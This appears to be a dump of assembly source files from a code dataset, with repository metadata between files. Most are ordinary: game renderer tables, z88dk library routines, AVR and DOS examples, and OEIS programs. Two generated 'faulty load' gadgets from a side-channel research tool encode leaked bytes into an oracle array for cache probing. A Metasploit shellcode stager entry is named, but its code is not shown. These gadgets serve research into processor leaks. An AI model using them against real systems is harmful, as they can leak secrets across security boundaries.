public _r_bmodelactive
_r_bmodelactive dd 0
;-------------------------------------------------------
; global refresh variables
;-------------------------------------------------------
; FIXME: put all refresh variables into one contiguous block. Make into one
; big structure, like cl or sv?
align 4
public _d_sdivzstepu
public _d_tdivzstepu
public _d_zistepu
public _d_sdivzstepv
public _d_tdivzstepv
public _d_zistepv
public _d_sdivzorigin
public _d_tdivzorigin
public _d_ziorigin
_d_sdivzstepu dd 0
_d_tdivzstepu dd 0
_d_zistepu dd 0
_d_sdivzstepv dd 0
_d_tdivzstepv dd 0
_d_zistepv dd 0
_d_sdivzorigin dd 0
_d_tdivzorigin dd 0
_d_ziorigin dd 0
public _sadjust
public _tadjust
public _bbextents
public _bbextentt
_sadjust dd 0
_tadjust dd 0
_bbextents dd 0
_bbextentt dd 0
public _cacheblock
public _d_viewbuffer
public _cachewidth
public _d_pzbuffer
public _d_zrowbytes
public _d_zwidth
_cacheblock dd 0
_cachewidth dd 0
_d_viewbuffer dd 0
_d_pzbuffer dd 0
_d_zrowbytes dd 0
_d_zwidth dd 0
;-------------------------------------------------------
; ASM-only variables
;-------------------------------------------------------
public izi
izi dd 0
public pbase, s, t, sfracf, tfracf, snext, tnext
public spancountminus1, zi16stepu, sdivz16stepu, tdivz16stepu
public zi8stepu, sdivz8stepu, tdivz8stepu, pz
s dd 0
t dd 0
snext dd 0
tnext dd 0
sfracf dd 0
tfracf dd 0
pbase dd 0
zi8stepu dd 0
sdivz8stepu dd 0
tdivz8stepu dd 0
zi16stepu dd 0
sdivz16stepu dd 0
tdivz16stepu dd 0
spancountminus1 dd 0
pz dd 0
public izistep
izistep dd 0
;-------------------------------------------------------
; local variables for d_draw16.s
;-------------------------------------------------------
public reciprocal_table_16, entryvec_table_16
; 1/2, 1/3, 1/4, 1/5, 1/6, 1/7, 1/8, 1/9, 1/10, 1/11, 1/12, 1/13,
; 1/14, and 1/15 in 0.32 form
reciprocal_table_16 dd 040000000h, 02aaaaaaah, 020000000h
dd 019999999h, 015555555h, 012492492h
dd 010000000h, 0e38e38eh, 0ccccccch, 0ba2e8bah
dd 0aaaaaaah, 09d89d89h, 09249249h, 08888888h
externdef Entry2_16:dword
externdef Entry3_16:dword
externdef Entry4_16:dword
externdef Entry5_16:dword
externdef Entry6_16:dword
externdef Entry7_16:dword
externdef Entry8_16:dword
externdef Entry9_16:dword
externdef Entry10_16:dword
externdef Entry11_16:dword
externdef Entry12_16:dword
externdef Entry13_16:dword
externdef Entry14_16:dword
externdef Entry15_16:dword
externdef Entry16_16:dword
entryvec_table_16 dd 0, Entry2_16, Entry3_16, Entry4_16
dd Entry5_16, Entry6_16, Entry7_16, Entry8_16
dd Entry9_16, Entry10_16, Entry11_16, Entry12_16
dd Entry13_16, Entry14_16, Entry15_16, Entry16_16
;-------------------------------------------------------
; local variables for d_parta.s
;-------------------------------------------------------
public DP_Count, DP_u, DP_v, DP_32768, DP_Color, DP_Pix
DP_Count dd 0
DP_u dd 0
DP_v dd 0
DP_32768 dd 32768.0
DP_Color dd 0
DP_Pix dd 0
;externdef DP_1x1:dword
;externdef DP_2x2:dword
;externdef DP_3x3:dword
;externdef DP_4x4:dword
;DP_EntryTable dd DP_1x1, DP_2x2, DP_3x3, DP_4x4
;
; advancetable is 8 bytes, but points to the middle of that range so negative
; offsets will work
;
public advancetable, sstep, tstep, pspantemp, counttemp, jumptemp
advancetable dd 0, 0
sstep dd 0
tstep dd 0
pspantemp dd 0
counttemp dd 0
jumptemp dd 0
; 1/2, 1/3, 1/4, 1/5, 1/6, and 1/7 in 0.32 form
; public reciprocal_table, entryvec_table
reciprocal_table dd 040000000h, 02aaaaaaah, 020000000h
dd 019999999h, 015555555h, 012492492h
; externdef Entry2_8:dword
; externdef Entry3_8:dword
; externdef Entry4_8:dword
; externdef Entry5_8:dword
; externdef Entry6_8:dword
; externdef Entry7_8:dword
; externdef Entry8_8:dword
;entryvec_table dd 0, Entry2_8, Entry3_8, Entry4_8
; dd Entry5_8, Entry6_8, Entry7_8, Entry8_8
externdef Spr8Entry2_8:dword
externdef Spr8Entry3_8:dword
externdef Spr8Entry4_8:dword
externdef Spr8Entry5_8:dword
externdef Spr8Entry6_8:dword
externdef Spr8Entry7_8:dword
externdef Spr8Entry8_8:dword
public spr8entryvec_table
spr8entryvec_table dd 0, Spr8Entry2_8, Spr8Entry3_8, Spr8Entry4_8
dd Spr8Entry5_8, Spr8Entry6_8, Spr8Entry7_8, Spr8Entry8_8
_DATA ENDS
endif ; id386
END
| 24.352941 | 78 | 0.662951 |
a03f61406e002411d440638feafb20e87c987bc0 | 649 | asm | Assembly | libsrc/target/sam/graphics/pixeladdress_MODE3.asm | w5Mike/z88dk | f5090488e1d74ead8c865afe6df48231cd5c70ba | [
"ClArtistic"
] | null | null | null | libsrc/target/sam/graphics/pixeladdress_MODE3.asm | w5Mike/z88dk | f5090488e1d74ead8c865afe6df48231cd5c70ba | [
"ClArtistic"
] | null | null | null | libsrc/target/sam/graphics/pixeladdress_MODE3.asm | w5Mike/z88dk | f5090488e1d74ead8c865afe6df48231cd5c70ba | [
"ClArtistic"
] | null | null | null |
SECTION code_graphics
PUBLIC pixeladdress_MODE3
EXTERN SCREEN_BASE
; Entry: hl = x
; de = y
; Exit: hl = addr
; a = pixel offset
; z = pixel @1100000
pixeladdress_MODE3:
ex de,hl
add hl,hl ;*2
add hl,hl ;*4
add hl,hl ;*8
add hl,hl ;*16
add hl,hl ;*32
add hl,hl ;*64
add hl,hl ;*128
ld c,e ;save x (lowest byte)
; Divide x by 4 to get the byte
srl d
rr e
srl d
rr e
ld a,d
or +(SCREEN_BASE / 256)
ld d,a
add hl,de
ld a,c
and 3
ret
| 18.027778 | 41 | 0.4453 |
6efef01fd520b5f787fff1ecd2a77f99f646c78a | 2,957 | asm | Assembly | src/cond_flags.asm | no111u3/m48_robo_asm | a2341f46eb411ec3d015f7ed1f150a1d3856721d | [
"Apache-2.0"
] | null | null | null | src/cond_flags.asm | no111u3/m48_robo_asm | a2341f46eb411ec3d015f7ed1f150a1d3856721d | [
"Apache-2.0"
] | null | null | null | src/cond_flags.asm | no111u3/m48_robo_asm | a2341f46eb411ec3d015f7ed1f150a1d3856721d | [
"Apache-2.0"
] | null | null | null | ;****************************************************************
.include "m48def.inc"
.include "service.inc"
;****************************************************************
; Data
;****************************************************************
.dseg
;****************************************************************
; Code
;****************************************************************
.cseg
.org 0x000
rjmp reset ; Reset Handler
reti ; rjmp EXT_INT0 ; IRQ0 Handler
reti ; rjmp EXT_INT1 ; IRQ1 Handler
reti ; rjmp PCINT0 ; PCINT0 Handler
reti ; rjmp PCINT1 ; PCINT1 Handler
reti ; rjmp PCINT2 ; PCINT2 Handler
reti ; rjmp WDT ; Watchdog Timer Handler
reti ; rjmp TIM2_COMPA ; Timer2 Compare A Handler
reti ; rjmp TIM2_COMPB ; Timer2 Compare B Handler
reti ; rjmp TIM2_OVF ; Timer2 Overflow Handler
reti ; rjmp TIM1_CAPT ; Timer1 Capture Handler
reti ; rjmp TIM1_COMPA ; Timer1 Compare A Handler
reti ; rjmp TIM1_COMPB ; Timer1 Compare B Handler
reti ; rjmp TIM1_OVF ; Timer1 Overflow Handler
reti ; rjmp TIM0_COMPA ; Timer0 Compare A Handler
reti ; rjmp TIM0_COMPB ; Timer0 Compare B Handler
reti ; rjmp TIM0_OVF ; Timer0 Overflow Handler
reti ; rjmp SPI_STC ; SPI Transfer Complete Handler
reti ; rjmp USART_RXC ; USART, RX Complete Handler
reti ; rjmp USART_UDRE ; USART, UDR Empty Handler
reti ; rjmp USART_TXC ; USART, TX Complete Handler
reti ; rjmp ADC ; ADC Conversion Complete Handler
reti ; rjmp EE_RDY ; EEPROM Ready Handler
reti ; rjmp ANA_COMP ; Analog Comparator Handler
reti ; rjmp TWI ; 2-wire Serial Interface Handler
reti ; rjmp SPM_RDY ; Store Program Memory Ready Handler
reset:
sset RAMEND
start:
cpi r16, 1 ; compare r16 with 1
breq ActionA; branch if equal
; go forward if not
cpi r16, 2 ; compare r16 with 2
breq ActionB; branch if equal
; go forward if not
cpi r16, 3 ; compare r16 with 3
breq ActionC; branch if equal
; go forward if not
rjmp NoAction; go to exit
ActionA:
nop
nop
nop
rjmp NoAction; go to exit
;---------------------------------------------------------------
Near:
jmp FarFar_away
;---------------------------------------------------------------
ActionB:
nop
nop
nop
rjmp NoAction; go to exit
ActionC:
nop
nop
nop
NoAction:
nop
sbrc r16, 3 ; check bit 3 in r16 to clear and jump through cmd if yes
rjmp bit_3_of_R16_Not_Zer0
nop
sbrs r16, 3 ; check bit 3 in r16 to set and jump through cmd if yes
rjmp bit_3_of_R16_Zer0
nop
uin r16, UCSR0C ; Read peripheral register to r16
andi r16, 1 << 3; Apply mask 00001000 and set Z if bit 3 is clear
breq bit_3_of_R16_Zer0
bit_3_of_R16_Not_Zer0:
bit_3_of_R16_Zer0:
nop
FarFar_away:
rjmp pc
;****************************************************************
; Eeprom Data
;****************************************************************
.eseg | 27.635514 | 71 | 0.555631 |
a23d4c7b72e56dae33b721e5696ffeef25dfbba7 | 1,238 | asm | Assembly | randomly-solved-programs/printing again & again on user response.asm | informramiz/Assembly-Language-Programs | 600d8f737a09ef4c133b686918501fba56dd586e | [
"Apache-2.0"
] | null | null | null | randomly-solved-programs/printing again & again on user response.asm | informramiz/Assembly-Language-Programs | 600d8f737a09ef4c133b686918501fba56dd586e | [
"Apache-2.0"
] | null | null | null | randomly-solved-programs/printing again & again on user response.asm | informramiz/Assembly-Language-Programs | 600d8f737a09ef4c133b686918501fba56dd586e | [
"Apache-2.0"
] | null | null | null | .MODEL SMALL
.STACK 100H
.DATA
INPUT_MSG DB 0AH,0DH,'Enter a number ( 0 to 9 ) : $'
SORRY_MSG DB 0AH,0DH,'Sorry you have entered a wrong number $'
AGAIN_MSG DB 0AH,0DH,'Do you want to exit (y) or restart(n) : $'
END_MSG DB 0AH,0DH,'You haver entered a wrong number 3 times consequently, so the ',0AH,0DH,'program is forcefully aborted $'
END_LINE DB 0AH,0DH,' $'
COUNTER DB 0H
.CODE
MAIN PROC
;making the DS to point to data segment
MOV AX,@DATA
MOV DS,AX
INPUT:
LEA DX,INPUT_MSG
MOV AH,9
INT 21H
MOV AH,1
INT 21H
MOV BL,AL
MOV CL,30H
MOV AH,2
CHECK:
CMP BL,30H
JL SORRY
CMP BL,39H
JG SORRY
PRINT:
MOV COUNTER,0H
LEA DX,END_LINE
MOV AH,9
INT 21H
MOV AH,2
MOV DL,CL
INT 21H
INC CL
CMP CL,BL
JNG PRINT
AGAIN:
LEA DX,AGAIN_MSG
MOV AH,9
INT 21H
MOV AH,1
INT 21H
CMP AL,'y'
JE EXIT
CMP AL,'n'
JE INPUT
JMP EXIT
SORRY:
INC COUNTER
CMP COUNTER,3H
JE END_
LEA DX,SORRY_MSG
MOV AH,9
INT 21H
JMP AGAIN
END_:
LEA DX,END_LINE
MOV AH,9
INT 21H
LEA DX,END_MSG
INT 21H
EXIT:
MOV AH,4CH
INT 21H
MAIN ENDP
END MAIN
| 14.068182 | 129 | 0.591276 |
1d8bdb4e8ffd80102d18df3d1cda1385ae1deee0 | 4,286 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2595.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2595.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2595.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r9
push %rax
push %rbp
lea addresses_UC_ht+0xb813, %rbp
nop
nop
nop
sub %r9, %r9
movb (%rbp), %al
nop
nop
nop
nop
xor $21294, %r10
pop %rbp
pop %rax
pop %r9
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r15
push %rax
push %rcx
push %rdx
// Store
lea addresses_D+0x16cbf, %r13
nop
xor %rdx, %rdx
movw $0x5152, (%r13)
nop
nop
nop
nop
cmp %rcx, %rcx
// Faulty Load
lea addresses_UC+0xd997, %rax
nop
cmp %r15, %r15
vmovups (%rax), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $0, %xmm0, %rcx
lea oracles, %rdx
and $0xff, %rcx
shlq $12, %rcx
mov (%rdx,%rcx,1), %rcx
pop %rdx
pop %rcx
pop %rax
pop %r15
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_UC', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D', 'same': False, 'size': 2, 'congruent': 3, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_UC', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'37': 21829}
37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37
*/
| 57.146667 | 2,999 | 0.659823 |
0aa137e2197bf3e68d334d39f3127b770e7c20cc | 752 | asm | Assembly | oeis/306/A306409.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/306/A306409.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/306/A306409.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A306409: a(n) = -Sum_{0<=i<j<=n} (-1)^(i+j) * (i+j)!/(i!*j!).
; Submitted by Jamie Morken(s3)
; 0,1,3,10,34,120,434,1597,5949,22363,84655,322245,1232205,4729453,18210279,70307546,272087770,1055139408,4099200524,15951053566,62159391150,242542955378,947504851414,3705431067156,14505084243860,56831711106496,222853334131080,874536645504868,3434337352832140,13495598924433984,53064746779618938,208769551948272445,821787361227223869,3236447635563109859,12752092084213443919,50267360051674276617,198231000045484477785,782038091270904319261,3086354989999322842089,12184760582281502261875
lpb $0
sub $0,1
mov $2,$0
max $2,0
seq $2,14300 ; Number of nodes of odd outdegree in all ordered rooted (planar) trees with n edges.
add $1,$2
lpe
mov $0,$1
| 57.846154 | 486 | 0.797872 |
489b08070843cafc8dfc762de8e238782715c156 | 1,063 | asm | Assembly | Transynther/x86/_processed/US/_un_/i9-9900K_12_0xa0.log_17_772.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/US/_un_/i9-9900K_12_0xa0.log_17_772.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/US/_un_/i9-9900K_12_0xa0.log_17_772.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r15
push %r8
push %r9
push %rbx
push %rcx
push %rsi
// Load
lea addresses_D+0xedd7, %rcx
nop
nop
inc %r15
movups (%rcx), %xmm0
vpextrq $1, %xmm0, %rbx
nop
nop
nop
dec %rcx
// Faulty Load
lea addresses_US+0x1f939, %rsi
add $63589, %r13
vmovups (%rsi), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $1, %xmm2, %r8
lea oracles, %r9
and $0xff, %r8
shlq $12, %r8
mov (%r9,%r8,1), %r8
pop %rsi
pop %rcx
pop %rbx
pop %r9
pop %r8
pop %r15
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_D', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'08': 8, '72': 8, '06': 1}
06 72 08 72 08 08 08 08 72 72 08 08 72 72 72 72 08
*/
| 18.649123 | 122 | 0.637817 |
7aa70f996732bba2741480ef076e2dbd72464107 | 580 | asm | Assembly | oeis/050/A050914.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/050/A050914.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/050/A050914.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A050914: a(n) = n*3^n + 1.
; 1,4,19,82,325,1216,4375,15310,52489,177148,590491,1948618,6377293,20726200,66961567,215233606,688747537,2195382772,6973568803,22082967874,69735688021,219667417264,690383311399,2165293113022,6778308875545,21182215236076,66088511536555,205891132094650,640550188738909,1990280943581608,6176733962839471,19147875284802358,59296646043258913,183448998696332260,567024177788663347,1751104078464989746,5403406870691968357,16660504517966902432,51332365271573699383,158049650967740074414,486306618362277152041
mov $1,3
pow $1,$0
mul $1,$0
add $1,1
mov $0,$1
| 64.444444 | 501 | 0.856897 |
aa6dd32672792c56fa1c80f58030781bb81e798a | 1,397 | asm | Assembly | src/tiles.asm | helgefmi/lttphack | 2d3b80b029c7e5a46e9329856dadff0ed611a596 | [
"MIT"
] | 28 | 2016-02-19T04:33:56.000Z | 2022-02-25T05:30:58.000Z | src/tiles.asm | helgefmi/lttphack | 2d3b80b029c7e5a46e9329856dadff0ed611a596 | [
"MIT"
] | 4 | 2017-08-01T18:20:49.000Z | 2019-07-28T13:39:01.000Z | src/tiles.asm | helgefmi/lttphack | 2d3b80b029c7e5a46e9329856dadff0ed611a596 | [
"MIT"
] | 6 | 2016-10-05T10:27:31.000Z | 2019-07-19T14:14:29.000Z | pushpc
; TILES
;
; Takes care to expand the tileset with our own stuff, so we can draw custom HUD items.
; Load Tiles Hijack
org $028068
JSL load_default_tileset
; Load Tiles Hook
pullpc
load_default_tileset:
LoadCustomHUDGFX:
%a16()
%i8()
LDX #$80 : STX $2115
LDA #$7000 : STA $2116 ; VRAM address (E000 in vram)
LDA #$1801 : STA $4300 ; word, normal increment, destination $2118
LDA.w #hud_table : STA $4302 ; Source offset
LDX.b #hud_table>>16 : STX $4304 ; Source bank
LDA #$1800 : STA $4305 ; Size (0x800 = 1 sheet)
LDX #$01 : STX $420B ; initiate DMA (channel 1)
; next, load the font
LoadHudFont:
LDX #$80 : STX $2115
LDA #$7080 : STA $2116
LDA #$1801 : STA $4300
; we're writing 16 2BPP tiles to VRAM
; so 16*64*2 = 2048 bits, or 256 bytes
; AKA 0x100 bytes
; since the offset is a multiple of 256,
; we can just swap the nibbles and
; add them in as the offset
LDA !ram_hud_font : XBA : CLC : ADC.w #hud_font : STA $4302
LDX.b #hud_font>>16 : STX $4304
LDA #$0100 : STA $4305
LDX #$01 : STX $420B
%ai8() ; expected flags from both entry points/DecompAndDirectCopy
RTL
hud_table:
incbin ../resources/hud_gfx1.2bpp
incbin ../resources/hud_gfx2.2bpp
incbin ../resources/hud_gfx3.2bpp
hud_font:
incbin ../resources/hud_font1.2bpp
incbin ../resources/hud_font2.2bpp
cm_hud_table:
incbin ../resources/menu_font1.2bpp
incbin ../resources/menu_font2.2bpp | 24.946429 | 87 | 0.701503 |
3b624e238d9352bd98a5f2d29a3b36936300a43b | 2,495 | asm | Assembly | libsrc/_DEVELOPMENT/stdio/z80/output_helpers/__stdio_printf_number_tail_longlong.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/stdio/z80/output_helpers/__stdio_printf_number_tail_longlong.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/stdio/z80/output_helpers/__stdio_printf_number_tail_longlong.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
SECTION code_clib
SECTION code_stdio
PUBLIC __stdio_printf_number_tail_longlong
PUBLIC __stdio_printf_number_tail_ulonglong
EXTERN l_testzero_64_mhl, l_neg_64_mhl, l_load_64_dehldehl_mbc
EXTERN asm1_ulltoa, __stdio_printf_number_tail, __stdio_printf_number_tail_zero
__stdio_printf_number_tail_longlong:
; enter : ix = FILE *
; hl = void *stack_param
; de = void *buffer_digits
; bc = base
; stack = buffer_digits, width, precision
;
; exit : carry set if stream error
;
; NOTE: (buffer_digits - 3) points at buffer space of three free bytes
push hl ; save stack_param
; test longlong for zero
call l_testzero_64_mhl
jr z, zero
; integer negative ?
dec hl
bit 7,(hl)
jr z, signed_join ; if positive
set 7,(ix+5) ; set negative flag
pop hl ; hl = stack_param
push hl
call l_neg_64_mhl ; make positive for conversion
jr signed_join
__stdio_printf_number_tail_ulonglong:
; enter : ix = FILE *
; hl = void *stack_param
; de = void *buffer_digits
; bc = base
; stack = buffer_digits, width, precision
;
; exit : carry set if stream error
;
; NOTE: (buffer_digits - 3) points at buffer space of three free bytes
push hl ; save stack_param
; test longlong for zero
call l_testzero_64_mhl
jr z, zero
signed_join:
pop hl
; ix = FILE*
; bc = base
; de = void *buffer_digits
; hl = stack_param
; stack = buffer_digits, width, precision
exx
push bc
push de
push hl
exx
push de ; save buffer_digits
push de ; save buffer_digits
push bc ; save radix
ld c,l
ld b,h ; bc = stack param
call l_load_64_dehldehl_mbc ; dehl'dehl = num
pop bc ; bc = radix
ex (sp),ix ; ix = buffer_digits
; dehl'dehl = number
; bc = radix
; ix = buffer_digits
; stack = ..., buffer_digits, FILE*
call asm1_ulltoa
pop ix ; ix = FILE*
pop de ; de = buffer_digits
exx
pop hl
pop de
pop bc
exx
jp __stdio_printf_number_tail
zero:
pop hl
ld l,a
ld h,a
jp __stdio_printf_number_tail_zero
| 20.45082 | 79 | 0.561122 |
ce6a80d757d2915e4d38d1525b441abdbd1bfb63 | 801 | asm | Assembly | programs/oeis/057/A057681.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/057/A057681.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/057/A057681.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A057681: a(n) = Sum_{j=0..floor(n/3)} (-1)^j*binomial(n,3*j).
; 1,1,1,0,-3,-9,-18,-27,-27,0,81,243,486,729,729,0,-2187,-6561,-13122,-19683,-19683,0,59049,177147,354294,531441,531441,0,-1594323,-4782969,-9565938,-14348907,-14348907,0,43046721,129140163,258280326,387420489,387420489,0,-1162261467,-3486784401,-6973568802,-10460353203,-10460353203,0,31381059609,94143178827,188286357654,282429536481,282429536481,0,-847288609443,-2541865828329,-5083731656658,-7625597484987,-7625597484987,0,22876792454961,68630377364883,137260754729766,205891132094649,205891132094649,0,-617673396283947,-1853020188851841,-3706040377703682,-5559060566555523,-5559060566555523,0
sub $0,1
trn $0,1
add $0,2
mov $1,42
mov $2,40
mov $3,2
lpb $0,1
sub $0,1
add $2,$1
sub $3,$1
sub $1,$3
mov $3,$2
lpe
div $1,82
| 44.5 | 597 | 0.751561 |
e1db8521b1edeb07baccb90d353913a4f205d7db | 1,281 | asm | Assembly | external/source/shellcode/bsdi/ia32/stager_sock_find.asm | OsmanDere/metasploit-framework | b7a014a5d22d3b57157e301d4af57e3a31ad03a9 | [
"BSD-2-Clause",
"BSD-3-Clause"
] | 26,932 | 2015-01-01T00:04:51.000Z | 2022-03-31T22:51:38.000Z | external/source/shellcode/bsdi/ia32/stager_sock_find.asm | Kilo-411/metasploit-framework | aaf27d7fa51390895dea63c58cb3b76e959d36f8 | [
"BSD-2-Clause",
"BSD-3-Clause"
